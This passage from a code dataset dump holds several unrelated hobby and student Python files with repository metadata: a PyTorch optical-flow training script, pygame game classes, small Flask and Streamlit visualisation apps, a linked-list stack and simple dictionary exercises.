False\n","repo_name":"ductai199x/youtube-scraper","sub_path":"src/chrome_driver_manager.py","file_name":"chrome_driver_manager.py","file_ext":"py","file_size_in_byte":5499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10794309142","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nfrom torch.utils.data import Dataset, DataLoader\nfrom tensorboardX import SummaryWriter\nimport torchvision\n\nfrom networks import encoder as ENC\nfrom networks import decoder as DEC\nfrom networks import layers as LYR\nfrom util.upb_dataset import *\nfrom util.vis import *\nfrom util.warp import *\nfrom flow_rigid import *\n\nimport cv2\nimport argparse\nimport os\n\n# define parser\nparser = argparse.ArgumentParser()\nparser.add_argument('--batch_size', type=int, default=12)\nparser.add_argument('--num_layers', type=int, default=18)\nparser.add_argument('--num_input_images', type=int, default=2)\nparser.add_argument('--num_output_channels', type=int, default=2)\nparser.add_argument('--num_vis', type=int, default=4)\nparser.add_argument('--scales', type=list, default=[0, 1, 2, 3])\nparser.add_argument('--height', type=int, default=256)\nparser.add_argument('--width', type=int, default=512)\nparser.add_argument('--lr', type=float, default=1e-4)\nparser.add_argument('--log_int', type=int, default=100)\nparser.add_argument('--vis_int', type=int, default=1000)\nparser.add_argument('--num_epochs', type=int, default=20)\nparser.add_argument('--scheduler_step_size', type=int, default=15)\nparser.add_argument('--log_dir', type=str, default='./logs')\nparser.add_argument('--checkpoint_dir', type=str, default='./snapshots')\nparser.add_argument('--model_name', type=str, default='default')\nparser.add_argument('--load_checkpoint', action='store_true')\nparser.add_argument('--dataset', type=str, help=\"name of the dataset\")\nargs = parser.parse_args()\n\n# create directories\nif not os.path.exists(args.log_dir):\n\tos.mkdir(args.log_dir)\n\nif not os.path.exists(args.checkpoint_dir):\n\tos.mkdir(args.checkpoint_dir)\n\tos.makedirs(os.path.join(args.checkpoint_dir, \"imgs\"))\n\tos.makedirs(os.path.join(args.checkpoint_dir, \"checkpoints\"))\n\n# define summary writer\nwriter = SummaryWriter(log_dir=args.log_dir)\n\n# define device\ndevice = torch.device(\"cuda\" if torch.cuda.is_available() else \"cpu\")\n\n# define encoder\nencoder = ENC.ResnetEncoder(\n\tnum_layers=args.num_layers, \n\tpretrained=True, \n\tnum_input_images=args.num_input_images\n)\nencoder.encoder.conv1 = nn.Conv2d(12, 64, kernel_size=7, stride=2, padding=3, bias=False)\nencoder = encoder.to(device)\n\n# define decoder\ndecoder = DEC.FlowDecoder(\n\tnum_ch_enc=encoder.num_ch_enc, \n\tscales=args.scales, \n\tnum_output_channels=args.num_output_channels, \n\tuse_skips=True\n).to(device)\n\n\n# define masking network\nencoder_mask = ENC.ResnetEncoder(\n\tnum_layers=args.num_layers, \n\tpretrained=True, \n\tnum_input_images=args.num_input_images\n)\nencoder_mask.encoder.conv1 = nn.Conv2d(12, 64, kernel_size=7, stride=2, padding=3, bias=False)\nencoder_mask.to(device) \n\ndecoder_mask = DEC.FlowDecoder(\n\tnum_ch_enc=encoder_mask.num_ch_enc,\n\tscales=args.scales,\n\tnum_output_channels=1,\n\tuse_skips=True\n).to(device)\n\n# define ssim\nssim = LYR.SSIM().to(device)\n\n# define rigid flow\nrigid_flow = RigidFlow()\n\n# define optimizer\nparams = list(encoder.parameters())\nparams += list(decoder.parameters())\nparams += list(encoder_mask.parameters())\nparams += list(decoder_mask.parameters())\noptimizer = optim.Adam(params, args.lr)\nscheduler = optim.lr_scheduler.StepLR(optimizer, args.scheduler_step_size, 0.1)\n\n# define dataloader\nwith open(os.path.join(\"splits\", args.dataset, \"train_files.txt\")) as fin:\n\ttrain_filenames = fin.readlines()\n\nwith open(os.path.join(\"splits\", args.dataset, \"test_files.txt\")) as fin:\n\ttest_filenames = fin.readlines()\n\ntrain_dataset = UPBRAWDataset(\n\tdata_path=\"./dataset\",\n\tfilenames=train_filenames,\n\theight=args.height,\n\twidth=args.width,\n\tframe_idxs=[-1, 0],\n\tnum_scales=4,\n\tis_train=True,\n\timg_ext=\"png\"\n)\n\ntest_dataset = UPBRAWDataset(\n\tdata_path=\"./dataset\",\n\tfilenames = test_filenames ,\n\theight=args.height,\n\twidth=args.width,\n\tframe_idxs=[-1, 0],\n\tnum_scales=4,\n\tis_train=False,\n\timg_ext=\"png\"\n)\n\ntrain_dataloader = DataLoader(\n\ttrain_dataset,\n\tbatch_size=args.batch_size,\n\tshuffle=True,\n\tnum_workers=4,\n\tdrop_last=True,\n\tpin_memory=True\n)\n\ntest_dataloader = DataLoader(\n\ttest_dataset,\n\tbatch_size=args.batch_size,\n\tshuffle=True,\n\tnum_workers=1,\n\tdrop_last=True,\n\tpin_memory=True\n)\ntest_iter = iter(test_dataloader)\n\ndef save_checkpoint(epoch: int, rloss: float):\n\tstate = {\n\t\t'epoch': epoch,\n\t\t'encoder': encoder.state_dict(),\n\t\t'decoder': decoder.state_dict(),\n\t\t'encoder_mask': encoder_mask.state_dict(),\n\t\t'decoder_mask': decoder_mask.state_dict(),\n\t\t'optimizer': optimizer.state_dict(),\n\t\t'scheduler': scheduler,\n\t\t'rloss': rloss\n\t}\n\tpath = os.path.join(args.checkpoint_dir, 'checkpoints', args.model_name + (\"_%d.pth\" % (epoch)))\n\ttorch.save(state, path)\n\n\ndef load_checkpoint():\n\tpath = os.path.join(args.checkpoint_dir, 'checkpoints', args.model_name)\n\tstate = torch.load(path)\n\n\tencoder.load_state_dict(state['encoder'])\n\tdecoder.load_state_dict(state['decoder'])\n\tencoder_mask.load_state_dict(state['encoder_mask'])\n\tdecoder_mask.load_state_dict(state['decoder_mask'])\n\n\toptimizer.load_state_dict(state['optimizer'])\n\tscheduler = scheduler\n\treturn state['epoch'], state['rloss']\n\n\ndef get_rigid_flow(img1: torch.tensor, img2: torch.tensor):\n\tB, W, H = img1.shape[0], rigid_flow.WIDTH, rigid_flow.HEIGHT\n\timg1 = F.interpolate(img1, (H, W))\n\timg2 = F.interpolate(img2, (H, W))\n\n\t# get pix coords and then flow\n\tpix_coords = rigid_flow.get_pix_coords(img1, img2, B)\n\trflow = rigid_flow.get_flow(pix_coords, B)\n\trflow = rflow.transpose(2, 3).transpose(1, 2)\n\trflow = F.interpolate(rflow, (args.height, args.width))\n\treturn rflow.float()\n\n\ndef test_sample():\n\tglobal test_iter\n\n\tencoder.eval()\n\tencoder.eval()\n\n\ttry:\n\t\ttest_batch = next(test_iter)\n\texcept StopIteration:\n\t\ttest_iter = iter(test_dataloader)\n\t\ttest_batch = next(test_iter)\n\n\timgs1 = [data[('color_aug', -1, i)].to(device) for i in range(4)]\n\timgs2 = [data[('color_aug', 0, i)].to(device) for i in range(4)]\n\trflow = get_rigid_flow(imgs1[0], imgs2[0])\n\t\n\t# compute warped image using rigid flow\n\twimg2_r = warp(imgs1[0], rflow)\n\tinput = torch.cat((imgs1[0], imgs2[0], wimg2_r), dim=1)\n\n\n\t# compute reprojection loss\n\t# for the warped image with rigid flow\n\tssim_loss = ssim(wimg2_r, imgs2[0]).mean(1, True)\n\tl1_loss = torch.abs(wimg2_r - imgs2[0]).mean(1, True)\n\treprojection_loss = 0.85 * ssim_loss + 0.15 * l1_loss\n\n\twith torch.no_grad():\n\t\tenc_output = encoder(input, rflow, reprojection_loss)\n\t\tdec_output = decoder(enc_output)\n\n\t# compute warped image using rigid and dynamic flow\n\tdflow = dec_output[('flow', 0)]\n\tflow = dflow + rflow\n\twimg2_dr = warp(imgs1[0], flow)\n\n\t# compute reprojection loss\n\t# for the warped image using the rigid and dynamic flow\n\tssim_loss = ssim(wimg2_dr, imgs2[0]).mean(1, True)\n\tl1_loss = torch.abs(wimg2_dr - imgs2[0]).mean(1, True)\n\treprojection_loss = 0.85 * ssim_loss + 0.15 * l1_loss\n\t\n\t# compute mask\n\twith torch.no_grad():\n\t\tinput = torch.cat([imgs1[0], imgs2[0], wimg2_dr], dim=1)\n\t\tenc_mask_output = encoder_mask(input, flow, reprojection_loss)\n\t\tdec_mask_output = decoder_mask(enc_mask_output)\n\t\tmask = torch.sigmoid(dec_mask_output[('flow', 0)])\n\t\tmask = mask.repeat(1, 3, 1, 1)\n\n\t# color flow\n\tflow = flow.cpu() \n\tcolors = []\n\tfor j in range(args.batch_size):\n\t\tcolor_flow = flow[j].numpy().transpose(1, 2, 0)\n\t\tcolor_flow = flow_to_color(color_flow).transpose(2, 0, 1)\n\t\tcolor_flow = torch.tensor(color_flow).unsqueeze(0).float() / 255\n\t\tcolors.append(color_flow)\n\tcolors = torch.cat(colors, dim=0)\n\n\timg1 = imgs1[0][:args.num_vis].cpu()\n\timg2 = imgs2[0][:args.num_vis].cpu() \n\twimg2_dr = wimg2_dr[:args.num_vis].cpu()\n\tmask = mask[:args.num_vis].cpu()\n\tcolors = colors[:args.num_vis]\n\n\timgs = torch.cat([img1, img2, mask * wimg2_dr, 0.5 * (wimg2_dr + img2), 0.5 * (img1 + img2), colors, mask], dim=3)\n\timgs = torchvision.utils.make_grid(imgs, nrow=1, normalize=False)\n\timgs = (255 * imgs.numpy().transpose(1, 2, 0)).astype(np.uint8)\n\tcv2.imwrite(\"./snapshots/imgs/%d.%d.png\" % (epoch, i), imgs[..., ::-1])\n\n\tencoder.train()\n\tdecoder.train()\n\nif __name__ == \"__main__\":\n\trloss = None\n\tstart_epoch = 0\n\n\tif args.load_checkpoint:\n\t\tstart_epoch, rloss = load_checkpoint()\n\n\tfor epoch in range(start_epoch, args.num_epochs):\n\t\tfor i, data in enumerate(train_dataloader):\n\t\t\t# zero grad \n\t\t\toptimizer.zero_grad()\n\n\t\t\t# extract data\n\t\t\timgs1 = [data[('color_aug', -1, i)].to(device) for i in range(4)]\n\t\t\timgs2 = [data[('color_aug', 0, i)].to(device) for i in range(4)]\n\t\t\trflow = get_rigid_flow(imgs1[0], imgs2[0])\n\n\t\t\t# compute warped imaged using rigid flow\n\t\t\twimg2_r = warp(imgs1[0], rflow)\n\t\t\tinput = torch.cat((imgs1[0], imgs2[0], wimg2_r), dim=1)\n\n\t\t\t# compute reprojection loss\n\t\t\t# for the warped image with rigid flow\n\t\t\tssim_loss = ssim(wimg2_r, imgs2[0]).mean(1, True)\n\t\t\tl1_loss = torch.abs(wimg2_r - imgs2[0]).mean(1, True)\n\t\t\treprojection_loss = 0.85 * ssim_loss + 0.15 * l1_loss\n\n\t\t\t# compute dynamic flow\n\t\t\tenc_output = encoder(input, rflow, reprojection_loss)\n\t\t\tdec_output = decoder(enc_output)\n\n\t\t\tloss = 0\n\t\t\tfor j in args.scales:\n\t\t\t\timg1 = imgs1[j]\n\t\t\t\timg2 = imgs2[j]\n\n\t\t\t\t# compute warped image using rigid + dynamic flow\n\t\t\t\tscaled_dflow = dec_output[('flow', j)]\n\t\t\t\tscaled_rflow = F.interpolate(rflow, (args.height//2**j, args.width//2**j))\n\t\t\t\tscaled_flow = scaled_dflow + scaled_rflow\n\t\t\t\twimg2_dr = warp(img1, scaled_flow)\n\n\t\t\t\t# compute reprojection loss\n\t\t\t\t# for the warped image using the rigid and dynamic flow\n\t\t\t\tssim_loss = ssim(wimg2_dr, img2).mean(1, True)\n\t\t\t\tl1_loss = torch.abs(wimg2_dr - img2).mean(1, True)\n\t\t\t\treprojection_loss = 0.85 * ssim_loss + 0.15 * l1_loss\n\n\t\t\t\t# smooth loss\n\t\t\t\tsmooth_loss = get_smooth_loss(scaled_dflow[:, :1, :, :], img2)\n\t\t\t\tsmooth_loss += get_smooth_loss(scaled_dflow[:, 1:, :, :], img2)\n\n\t\t\t\t# compute masks\n\t\t\t\tif j == 0:\n\t\t\t\t\tinput = torch.cat((img1, img2, wimg2_dr), dim=1)\n\t\t\t\t\tencoder_mask_output = encoder_mask(input, scaled_flow, reprojection_loss)\n\t\t\t\t\tdecoder_mask_output = decoder_mask(encoder_mask_output) \n\n\t\t\t\t# compute maks loss\n\t\t\t\tmask = decoder_mask_output[('flow', j)]\n\t\t\t\tmask = torch.sigmoid(mask)\n\t\t\t\tweighting_loss = nn.BCELoss()(mask, torch.ones(mask.shape).cuda())\n\n\t\t\t\t# mask reprojection loss\n\t\t\t\treprojection_loss = mask * reprojection_loss\n\n\t\t\t\t# total loss\n\t\t\t\tloss += (reprojection_loss.mean() + 0.2 * weighting_loss + 0.01 * smooth_loss) / 2**j\n\n\t\t\t# backward step\n\t\t\tloss.backward()\n\t\t\toptimizer.step()\n\n\t\t\t# compute running loss\n\t\t\trloss = loss.item() if rloss is None else 0.99 * rloss + 0.01 * loss.item()\n\n\t\t\t# log interval\n\t\t\tif i % args.log_int == 0:\n\t\t\t\tit = epoch * (len(train_dataset) // args.batch_size) + i\n\t\t\t\twriter.add_scalar(\"Loss\", rloss, it)\n\t\t\t\tprint(\"Epoch: %d, Batch: %d, Loss: %.4f\" % (epoch, i, rloss))\n\n\t\t\t# visualization interval\n\t\t\tif i % args.vis_int == 0:\n\t\t\t\ttest_sample()\n\n\t\t# scheduler step\n\t\tscheduler.step()\n\n\t\t# save model\n\t\tsave_checkpoint(epoch, rloss)\n\n\t# export scalar data to JSON for external processing\n\twriter.close()\n","repo_name":"RobertSamoilescu/Unsupervised-Optical-Flow","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":10924,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"18029626449","text":"import pygame\r\nfrom math import atan2, sin, cos\r\nfrom utility.Circle import Circle\r\nfrom utility.Collision import *\r\nfrom utility.Constants import windowDim, playHeight, bounceSound, hitSound, loadImage\r\n\r\nclass Bullet (pygame.sprite.Sprite):\r\n\t\r\n\tradius = 10\r\n\tmaxHits = hits = 3\r\n\tkill = False\r\n\tcharge = -4\r\n\tspeed = 5\r\n\t\r\n\tdef __init__(self, pos, angle, index):\r\n\t\tpygame.sprite.Sprite.__init__(self)\r\n\t\t\r\n\t\tself.image, self.rect = loadImage(\"Disc\" + str(index) + \".png\")\r\n\r\n\t\tself.rect.center = pos\r\n\t\tself.x, self.y = pos\r\n\t\r\n\t\tself.collCircle = Circle(self.radius, self.x, self.y)\r\n\t\t\r\n\t\tself.vx = self.speed * cos(angle)\r\n\t\tself.vy = self.speed * sin(angle)\r\n\t\t\r\n\tdef update(self, magnets):\r\n\t\tif self.hits < 0:\r\n\t\t\tself.kill = True\r\n\t\t\treturn\r\n\t\t\r\n\t\t#Negative = repel, positive = attract\r\n\t\tfor magnet in magnets:\r\n\t\t\tmvx, mvy = magnet.forceVector(self.collCircle, self.charge)\r\n\t\t\tself.vx += mvx\r\n\t\t\tself.vy += mvy\r\n\t\t\t\r\n\t\tself.x += self.vx\r\n\t\tself.y += self.vy\r\n\r\n\t\tif self.x > windowDim:\r\n\t\t\tself.x -= windowDim\r\n\t\telif self.x < 0:\r\n\t\t\tself.x += windowDim\r\n\t\t\r\n\t\tif self.y > playHeight:\r\n\t\t\tself.y -= playHeight\r\n\t\telif self.y < 0:\r\n\t\t\tself.y += playHeight\r\n\t\t\r\n\t\tself.rect.centerx = self.collCircle.x = self.x\r\n\t\tself.rect.centery = self.collCircle.y = self.y\r\n\t\t\t\r\n\tdef collide(self, walls, players, magnets, shooter):\r\n\t\tnextCircle = Circle(self.radius, self.x + self.vx, self.y + self.vy)\r\n\t\t\r\n\t\tfor magnet in magnets:\r\n\t\t\tif circleCircle(nextCircle, magnet.collCircle):\r\n\t\t\t\tif self.hits > 0:\r\n\t\t\t\t\tbounceSound.play()\r\n\t\t\t\t\tself.vx, self.vy = self.circleReflectDirection(magnet.collCircle)\r\n\t\t\t\tself.hits -= 1\r\n\t\t\r\n\t\tfor wall in walls:\r\n\t\t\tif circleLine(nextCircle, wall):\r\n\t\t\t\tif self.hits > 0:\r\n\t\t\t\t\tbounceSound.play()\r\n\t\t\t\t\tself.vx, self.vy = self.wallReflectDirection(wall.getAngle())\r\n\t\t\t\tself.hits -= 1\r\n\t\t\r\n\t\t#Make sure this works\r\n\t\tfor player in players:\r\n\t\t\tif player is not shooter:\r\n\t\t\t\tif circleCircle(self.collCircle, player.collCircle):\r\n\t\t\t\t\tif self.hits is not self.maxHits:\r\n\t\t\t\t\t\thitSound.play()\r\n\t\t\t\t\t\tself.hits = -1\r\n\t\t\t\t\t\tplayer.dead = True\r\n\t\t\t\t\telse:\r\n\t\t\t\t\t\tbounceSound.play()\r\n\t\t\t\t\t\tself.hits -= 1\r\n\t\t\t\t\t\tself.vx, self.vy = self.circleReflectDirection(player.collCircle)\r\n\t\r\n\tdef wallReflectDirection(self, wallAngle):\r\n\t\tspeed = sqrt(self.vx * self.vx + self.vy * self.vy)\r\n\t\tangle = atan2(self.vy, self.vx)\r\n\t\tda = wallAngle - angle\r\n\t\tvx = speed * cos(angle + 2 * da)\r\n\t\tvy = speed * sin(angle + 2 * da)\r\n\t\treturn vx, vy\r\n\t\r\n\tdef circleReflectDirection(self, c):\r\n\t\tdx = c.x - self.x\r\n\t\tdy = c.y - self.y\r\n\t\t\r\n\t\tmag = sqrt(dx * dx + dy * dy)\r\n\t\t\r\n\t\tdx /= mag\r\n\t\tdy /= mag\r\n\t\t\r\n\t\tdp = self.vx * dx + self.vy * dy\r\n\t\t\r\n\t\treturn self.vx - 2 * dp * dx, self.vy - 2 * dp * dy\r\n\t\t\r\n\t\t\r\n\t\t\r\n\t\t","repo_name":"XeraRequiem/Disc-Wars","sub_path":"entity/Bullet.py","file_name":"Bullet.py","file_ext":"py","file_size_in_byte":2731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36414003741","text":"import pygame as pg\nfrom random import randint as r\nfrom modules.unit.Abstract import Abstract\n\n\nclass Gangster(Abstract):\n\n # Отрисовка Трраина\n @staticmethod\n def filling():\n \"\"\"Заполняем атлас тайлами\"\"\"\n pg.init()\n rate_x = 80\n rate_y = 65\n atlas = pg.image.load('images\\\\gangster.png')\n atlas = pg.transform.scale(atlas, (8*rate_x, 9*rate_y))\n tile_atlas = []\n for row in range(atlas.get_height() // rate_y):\n tile_atlas.append([])\n for col in range(atlas.get_width() // rate_x):\n rect = (rate_x * col, rate_y * row)\n image = atlas.subsurface((rect, (rate_x, rate_y)))\n tile_atlas[row].append(image)\n return tile_atlas\n\n def __init__(self, size, tile_atlas):\n \"\"\"Конструктор\"\"\"\n self.size = size\n self.rate_x = 80\n self.rate_y = 65\n self.step = 0\n self.row = 7\n self.col = 0\n self.time_move = 20\n self.unit_turn = 8\n self.tile_atlas = tile_atlas\n self.point_x = r(size[0] // 8, size[0] * 3 // 4)\n self.point_y = r(size[1] // 8, size[1] * 3 // 4)\n self.image = self.tile_atlas[self.row][self.col]\n self.rect = pg.Rect(self.point_x, self.point_y, self.rate_x, self.rate_y)\n self.arrest = False\n\n def update(self, turn):\n \"\"\"Обновление\"\"\"\n self.rect.x, self.rect.y = self.pos_unit(turn)\n\n if not self.arrest:\n if self.time_move < 1:\n self.unit_turn = r(0, 10)\n self.time_move = r(30, 150)\n self.time_move -= 1\n if self.unit_turn > 7:\n self.image = self.tile_atlas[6][0]\n else:\n self.col = self.unit_turn\n self.image = self.select()\n else:\n self.image = self.tile_atlas[8][self.col]\n\n def draw(self, g):\n \"\"\"Отрисовка\"\"\"\n g.blit(self.image, self.rect)\n\n def select(self):\n \"\"\"Выбор картинки шага\"\"\"\n if self.step > 10:\n if self.row > 4:\n self.row = 0\n else:\n self.row += 1\n self.step = 0\n else:\n self.step += 20\n return self.tile_atlas[self.row][self.col]","repo_name":"Maxim-2005/Hard-childhood","sub_path":"Python/RATORI/modules/unit/Gangster.py","file_name":"Gangster.py","file_ext":"py","file_size_in_byte":2374,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"37"} +{"seq_id":"42007105540","text":"from flask import Flask, render_template, request, jsonify\nimport json\n\napp = Flask(__name__)\n\n@app.route('/')\ndef index():\n with open(r'C:\\Users\\abcma\\OneDrive\\Documentos\\python\\localiza\\LocalizaAPI\\data.json', 'r', encoding='utf-8') as json_file:\n data = json.load(json_file)\n \n categories = list(data[next(iter(data))].keys())\n\n return render_template('index.html', categories=categories)\n\n@app.route('/data')\ndef get_data():\n category = request.args.get('category', 'GRUPO B - COMPACTO COM AR')\n\n with open(r'C:\\Users\\abcma\\OneDrive\\Documentos\\python\\localiza\\LocalizaAPI\\data.json', 'r', encoding='utf-8') as json_file:\n data = json.load(json_file)\n\n labels = []\n prices = []\n\n for timestamp, prices_dict in data.items():\n labels.append(timestamp)\n price = float(prices_dict[category].replace(',', '.'))\n prices.append(price)\n\n minPrice = min(prices)\n maxPrice = max(prices)\n\n chart_data = {\n 'category': category,\n 'labels': labels,\n 'prices': prices,\n 'minPrice': minPrice, # Inclua o valor mínimo no dicionário\n 'maxPrice': maxPrice # Inclua o valor máximo no dicionário\n }\n\n return jsonify(chart_data)\n\nif __name__ == '__main__':\n app.run(host='192.168.15.91', port=5000, debug=True)\n","repo_name":"maxmilian02/LocalizaAPI","sub_path":"app.pyw","file_name":"app.pyw","file_ext":"pyw","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"6909282024","text":"# Import the necessary libraries\r\nimport pandas as pd\r\nimport streamlit as st\r\nimport altair as alt\r\n# from pandasql import sqldf\r\n# pysqldf = lambda q: sqldf(q, globals())\r\n\r\n#### COMMENTED CODE IS THE DATA PREPROCESSING AND MANIPULATION\r\n# # Load the Affinity data and drop unnecessary columns\r\n# Affinity = pd.read_csv(\"data/Affinity.csv\", encoding=\"ISO-8859-1\")\r\n# Affinity.drop(columns=[\"NVotesAll.x\", \"NVotesAll.y\",\"Unnamed: 0\"], inplace=True)\r\n\r\n# # Load the country reference data and drop unnecessary columns\r\n# country_ref = pd.read_csv(\"data/states.csv\", encoding=\"Windows-1252\")\r\n# country_ref.drop(columns=[\"Unnamed: 0\"], inplace=True)\r\n\r\n# # Select a subset of the Affinity data based on specific country codes\r\n# subset_Affinity = Affinity[(Affinity['ccode1']==710)|(Affinity['ccode1']==365)|(Affinity['ccode1']==2)]\r\n\r\n# # Define SQL queries to join the subset_Affinity data with country names\r\n# query_cty_name2 = \"\"\"\r\n# SELECT A.ccode1, C.Countryname as ccode2, A.year, A.agree, A.IdealPointDistance from subset_Affinity as A LEFT JOIN country_ref as C on A.ccode2 = C.ccode \r\n# \"\"\"\r\n# query_cty_name1 = \"\"\"\r\n# SELECT C.Countryname as ccode1, A.ccode2, A.year, A.agree, A.IdealPointDistance from subset_Affinity as A LEFT JOIN country_ref as C on A.ccode1 = C.ccode \r\n# \"\"\"\r\n\r\n# # Use PySQL to execute the SQL queries and create a new dataframe for the joined data\r\n# subset_Affinity = pysqldf(query_cty_name2)\r\n# Affinity_final = pysqldf(query_cty_name1)\r\n\r\n# Load the final Affinity data\r\nAffinity_final = pd.read_csv(\"Affinity_final.csv\")\r\n\r\n# Enable Altair to handle large data sets\r\nalt.data_transformers.enable(max_rows=None)\r\n\r\n# Define the Altair chart code\r\nyear_slider = alt.binding_range(min=1971, max=2021, step=1, name='Year:')\r\nyear_select = alt.selection_single(name=\"SelectorName\", fields=['year'], bind=year_slider, init={'year': 1971})\r\n\r\nagreeScore_point = alt.Chart(Affinity_final).mark_point(filled=True, size=90).encode(\r\n y = alt.Y(\"agree:Q\", title = 'Voting Similarity',scale=alt.Scale(domain=(0, 1))),\r\n x = alt.X(\"IdealPointDistance:Q\", title = 'Ideology Distance', scale=alt.Scale(domain=(0, 5.5))),\r\n color = alt.Color(\"ccode1:N\", legend=alt.Legend(title=\"Country Pair Group\"), scale=alt.Scale(range=['#fe7c73', '#6c9497', '#4682b4'])),\r\n tooltip=[\r\n alt.Tooltip(\"ccode1:N\", title=\"Country 1\"),\r\n alt.Tooltip(\"ccode2:N\", title=\"Country 2\"),\r\n alt.Tooltip(\"agree:Q\", title=\"Voting Similarity\"),\r\n alt.Tooltip(\"IdealPointDistance:Q\", title=\"Ideology Distance\")\r\n ]\r\n).transform_filter(\r\n year_select\r\n).properties(width=400, height = 500).add_selection(year_select)\r\n\r\n# Configure the view, axis, and legend settings for the chart\r\nagreeScore_point.configure_view(\r\n stroke='transparent'\r\n).configure_axis(\r\n labelFontSize=20,\r\n titleFontSize=20,\r\n grid = False\r\n).configure_legend(\r\n labelFontSize=18,\r\n titleFontSize=18\r\n)\r\n\r\n# Create the Streamlit app and display the chart\r\ndef app():\r\n st.title(\"Voting Similarity & Ideology Distance\")\r\n st.write(\"Each point represents a country pair - China/Russia/USA and another country\")\r\n st.altair_chart(agreeScore_point, use_container_width=True)\r\n\r\n# Run the app\r\nif __name__ == \"__main__\":\r\n app()\r\n\r\n","repo_name":"yunongxue/SI649_UNGA_Ideology","sub_path":"voting_ideology.py","file_name":"voting_ideology.py","file_ext":"py","file_size_in_byte":3269,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70955470827","text":"from node import Node\n\n\nclass Stack():\n def __init__(self):\n self.top = None\n\n def push(self, item):\n node = Node(item)\n curr = self.top\n if curr == None:\n self.top = node\n else:\n while curr != None:\n if curr.get_next() == None:\n curr.next = node\n return self\n curr = curr.get_next()\n return self\n\n def pop(self):\n curr = self.top\n prev = None\n while curr != None:\n if curr.get_next() == None:\n prev.next = None\n return curr.get_data()\n else:\n prev = curr\n curr = curr.get_next()\n\n def reverse(self):\n prev = None\n curr = self.top\n while curr != None:\n next = curr.next\n curr.next = prev\n prev = curr\n curr = next\n self.top = prev\n return self\n\n def removeDuplicate(self):\n prev = self.top\n curr = self.top.next\n s = dict()\n while curr != None:\n if prev.get_data() not in s:\n s[prev.get_data()] = True\n if curr.get_data() in s:\n prev.set_next(curr.get_next())\n curr = curr.get_next()\n continue\n prev = curr\n curr = curr.get_next()\n return self\n\n def __str__(self):\n s = \"\"\n curr = self.top\n if curr == None:\n return s\n else:\n while curr != None:\n s += f\"{curr.get_data()}->\"\n curr = curr.get_next()\n return s[:-2]\n\n\nstack = Stack()\n\n\ndef v(): return [stack.push(i) for i in range(10)]\n\n\nv()\nprint(stack)\nprint()\nprint(stack.reverse())\nprint()\nprint(stack.removeDuplicate())\n","repo_name":"allansifuna/Data-Structures-and-algorithms-python","sub_path":"newStack.py","file_name":"newStack.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"29150551721","text":"import matplotlib\nimport matplotlib.pyplot as plt\n\nclass Plot_map():\n def __init__(self, pngname):\n plt.ion()\n fig = plt.figure()\n self.ax = fig.add_subplot(1, 1, 1)\n self.scat = self.ax.scatter([], [], zorder=1)\n self.scat2 = self.ax.scatter([], [], zorder=2)\n\n img = plt.imread(pngname)\n plt.imshow(img, zorder=0)\n plt.show()\n plt.pause(0.0001)\n\n def update_plot(self, x_vals, y_vals, entry_x, entry_y, name, status):\n self.scat.remove()\n self.scat2.remove()\n self.scat = self.ax.scatter(x_vals, y_vals, zorder=1, color='r', s=2)\n self.scat2 = self.ax.scatter(entry_x, entry_y, zorder=2, color='b', s=2)\n plt.draw()\n if status == True:\n plt.savefig(name)\n plt.pause(0.0001)\n","repo_name":"xcao65/Stadium_Evacuation-Simulation","sub_path":"plot_map.py","file_name":"plot_map.py","file_ext":"py","file_size_in_byte":805,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72295486188","text":"import streamlit as st \nimport joblib\nmodel = joblib.load('model')\nst.title('User emotion detection application backend [ working implementation]')\nip = st.text_input(\"Users message\")\nop = model.predict([ip])\nif st.button(\"Analyse\"):\n st.title(op[0])\n \n \n","repo_name":"lelouch248/Text-emotion-detect","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":258,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28450810185","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\nimport math\nimport copy\nimport itertools\n\n\ndef get_even_keys(dictionary):\n\treturn {elem for elem in dictionary if elem % 2 == 0}\n\n\ndef join_dictionaries(dictionaries):\n\tnouveau_dic = {}\n\tfor elem in dictionaries:\n\t\tfor key, value in elem.items():\n\t\t\tnouveau_dic[key] = value\n\treturn nouveau_dic\n\n\ndef dictionary_from_lists(keys, values):\n\treturn dict(zip(keys, values))\n\n\ndef get_greatest_values(dictionnary, num_values):\n\tliste_1 = dictionnary.keys()\n\tliste_2 = dictionnary.values()\n\tliste_3 = sorted(list(zip(liste_2, liste_1)), reverse=True)[0:num_values]\n\treturn liste_3\n\n\ndef get_sum_values_from_key(dictionnaries, key):\n\treturn sum([dic[key] for dic in dictionnaries if key in list(dic.keys())])\n\n\nif __name__ == \"__main__\":\n\tyeet = {\n\t\t69: \"Yeet\",\n\t\t420: \"YeEt\",\n\t\t9000: \"YEET\",\n\t}\n\tprint(get_even_keys(yeet))\n\tprint()\n\n\tyeet = {\n\t\t69: \"Yeet\",\n\t\t420: \"YeEt\",\n\t\t9000: \"YEET\",\n\t}\n\tdoot = {\n\t\t0xBEEF: \"doot\",\n\t\t0xDEAD: \"DOOT\",\n\t\t0xBABE: \"dOoT\"\n\t}\n\tprint(join_dictionaries([yeet, doot]))\n\tprint()\n\t\n\tdoh = [\n\t\t\"D'OH!\",\n\t\t\"d'oh\",\n\t\t\"DOH!\"\n\t]\n\tnice = [\n\t\t\"NICE!\",\n\t\t\"nice\",\n\t\t\"nIcE\",\n\t\t\"NAIIIIICE!\"\n\t]\n\tprint(dictionary_from_lists(doh, nice))\n\tprint()\n\t\n\tnums = {\n\t\t\"nice\": 69,\n\t\t\"nice bro\": 69420,\n\t\t\"AGH!\": 